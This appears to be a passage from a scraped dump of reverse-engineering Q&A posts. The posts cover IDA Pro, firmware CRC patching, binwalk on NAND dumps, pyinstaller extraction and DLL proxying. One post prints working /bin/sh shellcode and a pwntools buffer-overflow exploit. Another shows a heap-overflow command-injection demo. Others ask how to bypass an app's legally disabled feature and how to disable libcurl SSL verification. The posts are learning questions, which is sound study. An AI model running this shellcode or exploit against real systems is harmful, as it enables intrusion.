+        MsgBox("This DLL was loaded.");
+
+        break;
+
+    case DLL_PROCESS_DETACH:
+
+        // Close the DLL
+        
+        UnloadOriDll(DLLFileOri);
+
+        break;
+    }
+
+    return true;
+}
+
+in this case the name of my DLL is "dinput.dll". +There is a generic source code that do this ? +Thanks ! +" +['firmware']," Title: how do I calculate crc32 of a u-boot header in a modified firmware image?Body: I'm trying to modify an openWRT frimware in order to be able to flash it in a router, these are the steps: +
+
    +
  1. download the latest nbg-419n2-initramfs-kernel.bin use hexedit and
  2. +
  3. change first 4 bytes to “Zyxel-like” u-boot magic number FF A8 30 90
  4. +
  5. count new CRC32 of u-boot header (64 bytes) and write next 4 bytes (7A +BE 7A CE for +openwrt-18.06.5-ramips-rt305x-nbg-419n2-initramfs-kernel.bin)
  6. +
  7. start tftp server IP 192.168.1.82 rename changed image file to NBG419Nv2.bin +and set to tftp server connect any lan port with server press and hold +the WPS key button on device and power on after 20-30 second your
  8. +
  9. openWrt on ip 192.168.1.1 is ready and waiting
  10. +
+
+Step 3 is the problem for me, I can't figure out how to calculate the new CRC32 of the u-boot header. I don't know where does it start and ends, I know it's a 64 bytes however. +What do I use to calculate it? (I tried crc32 tool on Linux) +" +"['ida', 'malware']"," Title: what is Off in IDA Pro?Body: probably silly question, what does Off ... means in IDA Pro? +i markered the snapshot as an example. + +" +['decompiler']," Title: Change the behavior of any running processBody: Would it be possible to develop a program that decompiles the instructions of a running process, for example into a C-like language, and allows them to be modified and then injected into the process itself, changing its behavior? +" +"['c++', 'static-analysis', 'java', 'c#']"," Title: How can I tell whether or not a given library method is being referenced by a consumer program statically in OOP languages?Body: Preface: This question is about source code reverse engineering and static analysis. Meaning, there is no built code available but I have access to the source code of the program. +Imagine I'm looking at some source code for a Java library. I know that in class foo, there is a public method bar() that either contains a bug or calls another private method which contains the bug. +With no prior knowledge of the codebase, and by only looking at source code, what are some techniques I can employ to find out if a given program that consumes this Java library, potentially calls the functionality, or triggers execution of the code with the bug in it? +I'm looking to answer the question "Does this program use the vulnerable method/function either directly or indirectly?" I know that technically it may not be possible without running the program to determine if the functionality is actually called because there may be a branch that is resolved at runtime based on external input. However, I only need to know whether or not the method has any chance at or could potentially be called. +I know how to find out if a method is used directly. I will search for the name of the class with vulnerable/buggy code throughout the program consuming the library, or even just search for the method itself. However, if the buggy function is not directly called by that program, this is where I am needing some tips. If the method is private or internal, it will never be directly called by the consuming program, but I've also seen cases where a method is public but isn't directly called by the consuming program, however, another method in the library calls it. +This has made it difficult to find out if code using a given library is vulnerable to a bug. What are some tips to statically hunt down these references for Java? If you have relevant information that is for another OOP language, that could be useful here as well. +" +"['ida', 'decompilation']"," Title: How to inform Hex-Rays decompiler (7.0) of known register values?Body: I'm currently working on a binary that has encrypted strings, using IDA 7.0. The encrypted data is copied to another location in memory, which is then decrypted. I have already decrypted the strings in-place, but due to the way the strings are accessed the decompiler is having trouble resolving them. +This is an example of ASM that accesses a decrypted string: +
mov     rcx, cs:StringTableOffset
+lea     rax, cs:180000000h
+lea     rcx, [rcx+rax+130A4h]
+call    cs:GetModuleHandleA
+
+For the purpose of reversing, StringTableOffset can be considered 0, so the final lea instruction effectively just moves the value 0x1800130A4 into rcx. The decompiler doesn't know that, though, and shows pointer arithmetic instead. +|| ((v11 = GetModuleHandleA((LPCSTR)(StringTableOffset + 0x1800130A4i64)) +Is there any way to signal to the decompiler that the value of rcx (the argument to GetModuleHandleA) is known, so that it can display the defined string? +" +"['ida', 'stack-variables', 'local-variables']"," Title: Find out the name of constants and var in IDA proBody: I'm trying to search with IDA pro constants of type "#define SIZE 100" and normal local variables from a gcc-compiled binary file. I know there are a lot of open threads on the subject but I can't quite figure it out. +For example, this tutorial is very close to what I want, but I don't understand how I can display them graphically in IDA pro. +I'm new at this, thanks. +" +['android']," Title: extracting png file from appBody: I have extracted some png files from one app. I cannot open them using android gallery neither on windows. +Can you help understanding what is really this file and what should be changed in order to view it? +here are the first few lines of the HEX code of the png. +67 3e 65 09 38 a1 25 50 42 d3 14 be c8 23 b1 3d +06 e2 4e 38 f7 c0 36 58 7d 06 2b 1c af 10 6b 4c +bd 1f dd ae 7a 9d 68 8c 89 26 22 7a ea ca 66 b8 +99 80 9e a4 48 1b 1b a3 22 96 b6 08 2f 93 c3 c1 +57 12 d1 8f 31 22 02 7c ac 29 32 5a d3 cb 48 67 +c5 d1 09 9d 82 2a 58 d6 3d 41 47 7a fa de c7 88 +Edit:The file is named with png extension. I extracted them from data/data folder. Tried to open it on windows. The above code is when opening it with HEX editot +" +"['android', 'apk']"," Title: How do I find the function that draws a window on android?Body: I have an application that recently disabled support for one of the features I used for legal reasons. Looking at the decompressed file size and count of the new version compared to the old version shows that they are nearly identical, so I guess the feature was only disabled and not removed. I want to override the lock. The window I mentioned in the title is shown before that feature and covers it. I want to figure out what controls that window. Where should I even start? +" +"['ida', 'disassembly', 'disassemblers', 'compilers', 'objdump']"," Title: Lexer and parser for .asm file produced by objdumpBody: Is there any existing project that parses the x86 disassembly file or .asm produced by the objdump or IDA pro using the lexer and parser library in python or any other programming language? +" +"['disassembly', 'c']"," Title: Why can't find hardcoded string in the disassembled program?Body: I've wrote a simple program to print something on the screen as below: +
ebra@him:/tmp/tuts$ cat sample.c 
+#include <stdio.h>
+
+int main()
+{
+    puts("Sample!");
+}
+
+ebra@him:/tmp/tuts$ gcc sample.c -o sample
+ebra@him:/tmp/tuts$ 
+ 
+ebra@him:/tmp/tuts$ ./sample 
+Sample!
+
+And then I disassmbled the executable to see what is going on under the hood: +
ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep "<main>:" -A 10
+0000000000001149 <main>:
+    1149:   f3 0f 1e fa             endbr64 
+    114d:   55                      push   rbp
+    114e:   48 89 e5                mov    rbp,rsp
+    1151:   48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 <_IO_stdin_used+0x4>
+    1158:   e8 f3 fe ff ff          call   1050 <puts@plt>
+    115d:   b8 00 00 00 00          mov    eax,0x0
+    1162:   5d                      pop    rbp
+    1163:   c3                      ret    
+    1164:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
+    116b:   00 00 00 
+
+As you see above, right before calling puts function, we have lea rdi,[rip+0xeac]. I assume that [rip+0xeac] is the address of the hardcoded text (i.e. "Sample!"). +Since rip is equal to 0x1151 while exucuting the mov line, the value of [rip + 0xeac] will be 0x1151 + 0xeac = 0x1ffd. +But I can't find this address in the disassembled program: +
ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i 1ffd
+ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i "Sample!"
+ebra@him:/tmp/tuts$
+
+Why? +" +"['c++', 'winapi', 'mfc']"," Title: which is harder to reverse engineer?Body: I'm planning on writing a windows application, used everywhere in my home country. I will code it in C++, but my question is which would you consider better to use? + +I'm asking this because I don't know if you heard about what will happen to Windows 10 and how it will change after the last updates, that's point #1, second I just want it to become a little bit harder to decompile, I know assembly and I've reverse-engineered a lot of programs over the last 5 years, but I just want something harder for that hacker in his father's basement, I don't want it to get cracked or reverse engineered in a day or two, but I know that at the end someone will do it. +Which framework (or should I say compiler with some extra features) would make it a little bit challenging? +I'm fluent in all the languages mentioned above. +I know that this Community is made for reverse engineering and so just focus on this part of my question, thank you for your time. +" +"['python', 'exploit', 'buffer-overflow', 'pwntools']"," Title: Buffer overflow: pwntools does not give me a shell, despite exploit working without pwntoolsBody: Recently, I've been trying to learn how to use the pwntools library. I am trying to exploit the following program using pwntools: +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(void) {
+    char buf[256];
+
+    printf("Buffer is at %p.\n", buf);
+    printf("Type in your name: ");
+    fgets(buf, 1000, stdin);
+    printf("Hello %s", buf);
+
+    return 0;
+}
+
+It has been compiled using gcc -o bof bof.c -fno-stack-protector -z execstack. I am able to exploit the vulnerability if I disable ASLR. My exploit just has shellcode that executes /bin/sh, some useless NOPs, and finally the location of my shellcode on the stack. +
$ python -c "import sys; sys.stdout.buffer.write(b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' + b'\x90' * 186 + b'\x50\xdd\xff\xff\xff\x7f')" | ./bof
+Buffer is at 0x7fffffffdd50.
+$ echo hello world
+hello world
+$ exit
+sh: 2: Cannot set tty process group (No such process)
+
+Yet, when I try doing the exact same thing within pwntools, I get the following: +
$ python bof.py 
+[+] Starting local process './bof': pid 10967
+Received: b'Buffer is at 0x7fffffffdd40.\n'
+Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
+Using payload:
+b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"
+
+[*] Switching to interactive mode
+$ 
+$ $ 
+[*] Got EOF while sending in interactive
+
+This is the code inside of bof.py: +
from pwn import *
+  
+# Start the process
+context.update(arch="i386", os="linux")
+p = process("./bof")
+received = str(p.recvline())
+print("Received: " + received)
+
+# Get the address of the buffer
+buffer_addr_str = received.split()[3:][0][:-4]
+buffer_addr = p64(int(buffer_addr_str, 16))
+print("Using address: " + str(buffer_addr))
+
+# Generate the payload
+payload = b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05'
+nops = b'\x90' * (264 - len(payload))
+print("Using payload:")
+print(payload+nops+buffer_addr)
+print()
+
+# Trigger the buffer overflow
+p.send(payload + nops + buffer_addr)
+p.interactive()
+
+This is the shellcode that I'm using: +
section .text
+global _start
+_start:
+
+; Syscall to close stdin
+xor rax, rax
+xor rdi, rdi ; Zero represents stdin
+mov al, 3 ; close(0)
+syscall
+
+; open("/dev/tty", O_RDWR | ...)
+push rax ; Push a NULL byte onto the stack
+mov rdi, 0x7974742f7665642f ; Move "/dev/tty" (written backwards) into rdi.
+push rdi ; Push the string "/dev/tty" onto the stack.
+push rsp ; Push a pointer to the string onto the stack.
+pop rdi ; rdi now has a pointer to the string "/dev/tty"
+        ; This is equivalent to doing "mov rdi, rsp"
+push rax ; Push a NULL byte onto the stack
+pop rsi ; Make rsi NULL
+        ; This is equivalent to doing "mov rsi, 0"
+mov si, 0x2702 ; Flag for O_RDWR
+mov al, 0x2 ; Syscall for sys_open
+syscall
+
+; Syscall for execve
+xor rax, rax
+mov al, 59
+
+; Push a NULL byte onto the stack
+xor rbx, rbx
+push rbx
+
+; Push /bin/sh onto the stack and get a pointer to it in rdi
+mov rbx, 0x68732f6e ; Move "n/sh" into rbx (written backwards).
+shl rbx, 16 ; Make 2 extra bytes of room in rbx
+mov bx, 0x6962 ; Move "bi" into rbx. Rbx is now equal to "bin/sh" written backwards.
+shl rbx, 16 ; Make 2 extra bytes of room in rbx
+mov bh, 0x2f ; Move "/" into rbx. Rbx is now equal to "/bin/sh" written backwards.
+push rbx ; Move the string "/bin/sh" onto the stack
+mov rdi, rsp ; Get a pointer to the string "/bin/sh" in rdi
+add rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning)
+
+; Make these values NULL
+xor rsi, rsi
+xor rdx, rdx
+
+; Do the syscall
+syscall
+
+I don't understand why calling p.interactive() doesn't spawn a shell. I am sending the same kind of payload that I would be sending if this was being done outside of pwntools. Why am I not getting a shell? +Edit: This is what I see when I run the script with DEBUG: +
$ python bof.py DEBUG
+[+] Starting local process './bof' argv=[b'./bof']  env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335
+[DEBUG] Received 0x1d bytes:
+    b'Buffer is at 0x7fffffffdd40.\n'
+Received: b'Buffer is at 0x7fffffffdd40.\n'
+Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
+Using payload:
+b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"
+
+[DEBUG] Sent 0x110 bytes:
+    00000000  48 31 c0 48  31 ff b0 03  0f 05 50 48  bf 2f 64 65  │H1·H│1···│··PH│·/de│
+    00000010  76 2f 74 74  79 57 54 5f  50 5e 66 be  02 27 b0 02  │v/tt│yWT_│P^f·│·'··│
+    00000020  0f 05 48 31  c0 b0 3b 48  31 db 53 bb  6e 2f 73 68  │··H1│··;H│1·S·│n/sh│
+    00000030  48 c1 e3 10  66 bb 62 69  48 c1 e3 10  b7 2f 53 48  │H···│f·bi│H···│·/SH│
+    00000040  89 e7 48 83  c7 01 48 31  f6 48 31 d2  0f 05 90 90  │··H·│··H1│·H1·│····│
+    00000050  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
+    *
+    00000100  90 90 90 90  90 90 90 90  40 dd ff ff  ff 7f 00 00  │····│····│@···│····│
+    00000110
+[*] Switching to interactive mode
+$ 
+[DEBUG] Sent 0x1 bytes:
+    10 * 0x1
+[DEBUG] Received 0x2 bytes:
+    b'$ '
+$ $ 
+[DEBUG] Sent 0x1 bytes:
+    10 * 0x1
+[*] Got EOF while sending in interactive
+
+Edit 2: I attached a debugger to my program by changing p = process("./bof") to p = gdb.debug("./bof"). I set a breakpoint at main and stepped through the program. It did eventually execute my shellcode correctly. However, after the last syscall in my shellcode executed, I got the following instead of getting a shell: +
0x00007fffffffdd8c in ?? ()
+[ Legend: Modified register | Code | Heap | Stack | String ]
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
+$rax   : 0x3b              
+$rbx   : 0x68732f6e69622f00
+$rcx   : 0x00007fffffffdd62  →  0xdb31483bb0c03148
+$rdx   : 0x0               
+$rsp   : 0x00007fffffffde30  →  0x68732f6e69622f00
+$rbp   : 0x9090909090909090
+$rsi   : 0x0               
+$rdi   : 0x00007fffffffde31  →  0x0068732f6e69622f ("/bin/sh"?)
+$rip   : 0x00007fffffffdd8c  →  0x909090909090050f
+$r8    : 0xfffffffffffffff9
+$r9    : 0x114             
+$r10   : 0x0000555555556032  →   add BYTE PTR [rax], al
+$r11   : 0x346             
+$r12   : 0x0000555555555080  →  <_start+0> endbr64 
+$r13   : 0x00007fffffffdf30  →  0x0000000000000001
+$r14   : 0x0               
+$r15   : 0x0               
+$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
+$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
+0x00007fffffffde30│+0x0000: 0x68732f6e69622f00   ← $rsp
+0x00007fffffffde38│+0x0008: 0x0000000000000000
+0x00007fffffffde40│+0x0010: "/dev/tty"
+0x00007fffffffde48│+0x0018: 0x0000000000000000
+0x00007fffffffde50│+0x0020: 0x00007ffff7ff000a  →   add BYTE PTR [rbp-0x77], cl
+0x00007fffffffde58│+0x0028: 0x00007fffffffdf38  →  0x00007fffffffe2ab  →  0x485300666f622f2e ("./bof"?)
+0x00007fffffffde60│+0x0030: 0x0000000100000000
+0x00007fffffffde68│+0x0038: 0x0000555555555169  →  <main+0> endbr64 
+─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
+   0x7fffffffdd82                  add    rdi, 0x1
+   0x7fffffffdd86                  xor    rsi, rsi
+   0x7fffffffdd89                  xor    rdx, rdx
+ → 0x7fffffffdd8c                  syscall 
+   0x7fffffffdd8e                  nop    
+   0x7fffffffdd8f                  nop    
+   0x7fffffffdd90                  nop    
+   0x7fffffffdd91                  nop    
+   0x7fffffffdd92                  nop    
+──────────��──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
+[#0] Id 1, Name: "bof", stopped, reason: SINGLE STEP
+───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
+[#0] 0x7fffffffdd8c → syscall 
+────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+gef➤  
+process 32648 is executing new program: /bin/dash
+Reading /bin/dash from remote target...
+Reading /bin/dash from remote target...
+Reading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
+Reading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
+Reading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
+Reading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
+Reading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
+Error in re-setting breakpoint 1: Function "main" not defined.
+Reading /lib64/ld-linux-x86-64.so.2 from remote target...
+Reading /lib64/ld-linux-x86-64.so.2 from remote target...
+Reading /lib64/ld-2.31.so from remote target...
+Reading /lib64/.debug/ld-2.31.so from remote target...
+Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...
+Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...
+Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...
+Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
+Reading /lib/x86_64-linux-gnu/libc-2.31.so from remote target...
+Reading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target...
+Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
+Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
+
+" +"['python', 'patch-reversing', 'decompile']"," Title: Reverse exe file compiled by pyinstallerBody: I am trying to get python source code from only exe file compiled by pyinstaller. +I used the pyinstxtractor.py and got extracted folder. +And then what or how should I do? +Or could you explain other ways? +Any help will be appreciated. +" +"['firmware', 'file-format', 'hardware', 'unpacking', 'binwalk']"," Title: Binwalk on flash dump yielding useless files and empty file systemsBody: I have been investigating some routers by desoldering their nand flash and dumping them using a flash programmer. +However when I use binwalk on these dumps I end up with fragments of files mixed in with corrupted JFFS2 file systems. I have done this on 2 different routers so far. Anyone have any ideas what might be happening here? +Here is an example of the binwalk output on one of the dumps: +
❯ binwalk NAND512W3A@TSOP48_5603.BIN
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+64084         0xFA54          JFFS2 filesystem, big endian
+227856        0x37A10         HTML document header
+227956        0x37A74         JFFS2 filesystem, big endian
+503556        0x7AF04         JFFS2 filesystem, big endian
+1970268       0x1E105C        JFFS2 filesystem, big endian
+3057708       0x2EA82C        Zlib compressed data, compressed
+3136556       0x2FDC2C        JFFS2 filesystem, big endian
+3380404       0x3394B4        JFFS2 filesystem, big endian
+3405000       0x33F4C8        JFFS2 filesystem, big endian
+4878860       0x4A720C        JFFS2 filesystem, big endian
+5263164       0x504F3C        Zlib compressed data, compressed
+5263228       0x504F7C        JFFS2 filesystem, big endian
+5555588       0x54C584        JFFS2 filesystem, big endian
+6068892       0x5C9A9C        Zlib compressed data, compressed
+6069200       0x5C9BD0        JFFS2 filesystem, big endian
+6086316       0x5CDEAC        Unix path: /var/wlansrom/bcm4331_map.bin
+6086348       0x5CDECC        JFFS2 filesystem, big endian
+6316000       0x605FE0        Zlib compressed data, compressed
+6316412       0x60617C        JFFS2 filesystem, big endian
+7022464       0x6B2780        Zlib compressed data, compressed
+-- SNIP --
+
+Some of the zlib compressed data does compress to fragments of actual files on the router. The HTML documents are also fragments of the router's HTML webpages but truncated The JFFS2 filesystems are all corrupted and yield nothing no matter what I try. +I would love to be able to extract the file system/s present on this thing, but I just cant see a way to do it. Any help would be very much appreciated :D +" +"['windows', 'decryption', 'dynamic-analysis']"," Title: Forcing embedded libcurl to disable SSL verificationBody: I am trying to decrypt HTTPs communications in a binary that I know has been statically linked with cURL. How can I force curl to not verify SSL certificates for fiddler to intercept? I am using the environment variable "all_proxy" for cURL to make it use the fiddler proxy, but it won't accept the self-signed cert from fiddler. I have the fiddler cert trusted in my certificate store. +" +"['x86-64', 'lldb']"," Title: Difference in binary behaviour (execution/under debugger)Body: I was trying out a simple heap overflow example (http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/) but replicated the relevant code in x86/x64 to understand it better. This is the code I used +
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc, char *argv[])
+{
+    char *name = malloc(0x6);
+    char *command = malloc(0x6);
+    strcpy(command,"whoami");
+    strcpy(name,"zzzzzzzzzzzzzzzzls -l");
+
+    system(command);
+}
+
